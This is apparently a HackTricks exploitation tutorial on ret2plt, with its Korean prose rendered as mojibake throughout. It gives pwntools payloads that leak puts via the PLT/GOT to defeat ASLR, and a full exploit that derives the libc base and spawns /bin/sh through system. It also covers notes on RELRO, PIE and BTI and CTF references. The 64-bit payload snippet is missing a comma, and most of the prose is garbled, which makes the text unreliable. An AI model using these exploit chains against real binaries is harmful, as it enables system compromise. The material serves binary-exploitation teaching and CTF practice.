Ret2plt
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
์ด ๊ธฐ๋ฒ์ ๋ชฉ์ ์ PLT์ ํจ์์์ ์ฃผ์๋ฅผ leakํ์ฌ ASLR์ ์ฐํํ๋ ๊ฒ์
๋๋ค. ์๋ฅผ ๋ค์ด libc์์ ํจ์ puts์ ์ฃผ์๋ฅผ leakํ๋ฉด, ๊ทธ ํ libc์ ๋ฒ ์ด์ค๊ฐ ์ด๋์ธ์ง ๊ณ์ฐํ ์ ์์ผ๋ฉฐ ๋ค๋ฅธ ํจ์๋ค(์: system)์ ์ ๊ทผํ๊ธฐ ์ํ offsets๋ฅผ ๊ณ์ฐํ ์ ์์ต๋๋ค.
์ด๊ฒ์ pwntools payload๋ก ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค (from here):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
**puts**๊ฐ (PLT์ ์ฃผ์๋ฅผ ์ฌ์ฉํ์ฌ) GOT (Global Offset Table)์ ์์นํ puts์ ์ฃผ์๋ก ํธ์ถ๋๋ ๊ฒ์ ์ฃผ๋ชฉํ๋ผ. ์ด๋ puts๊ฐ puts์ GOT ์ํธ๋ฆฌ๋ฅผ ์ถ๋ ฅํ ์์ ์๋ ์ด ์ํธ๋ฆฌ๊ฐ ๋ฉ๋ชจ๋ฆฌ ์์ puts์ ์ ํํ ์ฃผ์๋ฅผ ํฌํจํ๊ณ ์๊ธฐ ๋๋ฌธ์ด๋ค.
๋ํ ์ต์คํ๋ก์์์ main์ ์ฃผ์๊ฐ ์ฌ์ฉ๋์ด puts๊ฐ ์คํ์ ๋ง์น ํ binary๊ฐ ์ข
๋ฃํ์ง ์๊ณ main์ ๋ค์ ํธ์ถํ๋ค๋ ์ ์ ์ฃผ๋ชฉํ๋ผ(๋ฐ๋ผ์ leaked address๊ฐ ๊ณ์ ์ ํจํ๋ค).
Caution
์ด ๊ธฐ๋ฒ์ด ์๋ํ๋ ค๋ฉด binary๊ฐ PIE๋ก ์ปดํ์ผ๋์ด์๋ ์ ๋๋ค๊ฑฐ๋ PLT, GOT ๋ฐ main์ ์ฃผ์๋ฅผ ์๊ธฐ ์ํด PIE๋ฅผ ์ฐํํ๊ธฐ ์ํ leak์ ์ฐพ์์ผ ํ๋ค๋ ์ ์ ์ ์ํ๋ผ. ๊ทธ๋ ์ง ์์ผ๋ฉด ๋จผ์ PIE๋ฅผ ์ฐํํด์ผ ํ๋ค.
You can find a full example of this bypass here. ์ด๊ฒ์ ๊ทธ example์ ์ต์ข ์ต์คํ๋ก์์ด์๋ค:
Full exploit example (ret2plt leak + system)
```python from pwn import *elf = context.binary = ELF(โ./vuln-32โ) libc = elf.libc p = process()
p.recvline()
payload = flat( โAโ * 32, elf.plt[โputsโ], elf.sym[โmainโ], elf.got[โputsโ] )
p.sendline(payload)
puts_leak = u32(p.recv(4)) p.recvlines(2)
libc.address = puts_leak - libc.sym[โputsโ] log.success(fโLIBC base: {hex(libc.address)}โ)
payload = flat( โAโ * 32, libc.sym[โsystemโ], libc.sym[โexitโ], next(libc.search(bโ/bin/sh\x00โ)) )
p.sendline(payload)
p.interactive()
</details>
## Modern considerations
- **`-fno-plt` builds** (common in modern distros) replace `call foo@plt` with `call [foo@got]`. If the binary has no `foo@plt` stub, you can still leak the resolved address with `puts(elf.got['foo'])` and then **return directly to the GOT entry** (`flat(padding, elf.got['foo'])`) to jump into libc once lazy binding has completed.
- **Full RELRO / `-Wl,-z,now`**: GOT is readโonly but ret2plt still works for leaks because you only read the GOT slot. If the symbol was never called, your first ret2plt will also perform lazy binding and then print the resolved slot.
- **ASLR + PIE**: if PIE is enabled, first leak a code pointer (e.g., saved return address, function pointer, or `.plt` entry via another formatโstring/infoleak) to compute the PIE base, then build the ret2plt chain with the rebased PLT/GOT addresses.
- **Nonโx86 architectures with BTI/PAC (AArch64)**: PLT entries are valid BTI landing pads (`bti c`), so when exploiting on BTIโenabled binaries prefer jumping into the PLT stub (or another BTIโannotated gadget) instead of directly into a libc gadget without BTI, otherwise the CPU will raise `BRK`/`PAC` failures.
- **Quick resolution helper**: if the target function is not yet resolved and you need a leak in a single shot, chain the PLT call twice: first `elf.plt['foo']` (to resolve) then again `elf.plt['foo']` with the GOT address as argument to print the nowโfilled slot.
## Other examples & References
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, ์ฒซ ๋จ๊ณ๋ canary์ 0x00 ๋ฐ์ดํธ๊น์ง overflow๋ฅผ ์ฑ์์ puts๋ฅผ ํธ์ถํด ๊ทธ๊ฒ์ leakํ๋ ๊ฒ์
๋๋ค. canary๋ฅผ ์๊ฒ ๋๋ฉด puts์ ์ฃผ์๋ฅผ GOT์์ leakํ๊ธฐ ์ํด puts๋ฅผ ํธ์ถํ๋ ROP gadget์ ๋ง๋ค๊ณ , ๊ทธ ๋ค์ `system('/bin/sh')`๋ฅผ ํธ์ถํ๋ ROP gadget์ ์ฌ์ฉํฉ๋๋ค.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, child ํจ์๋ก๋ถํฐ main์์ ๋ฐ์ํ๋ stack overflow. puts๋ฅผ ํธ์ถํด GOT์์ puts์ ์ฃผ์๋ฅผ leakํ๋ ROP gadget์ ๋ง๋ ๋ค์ one gadget์ ํธ์ถํฉ๋๋ค.
## References
- [MaskRay โ All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


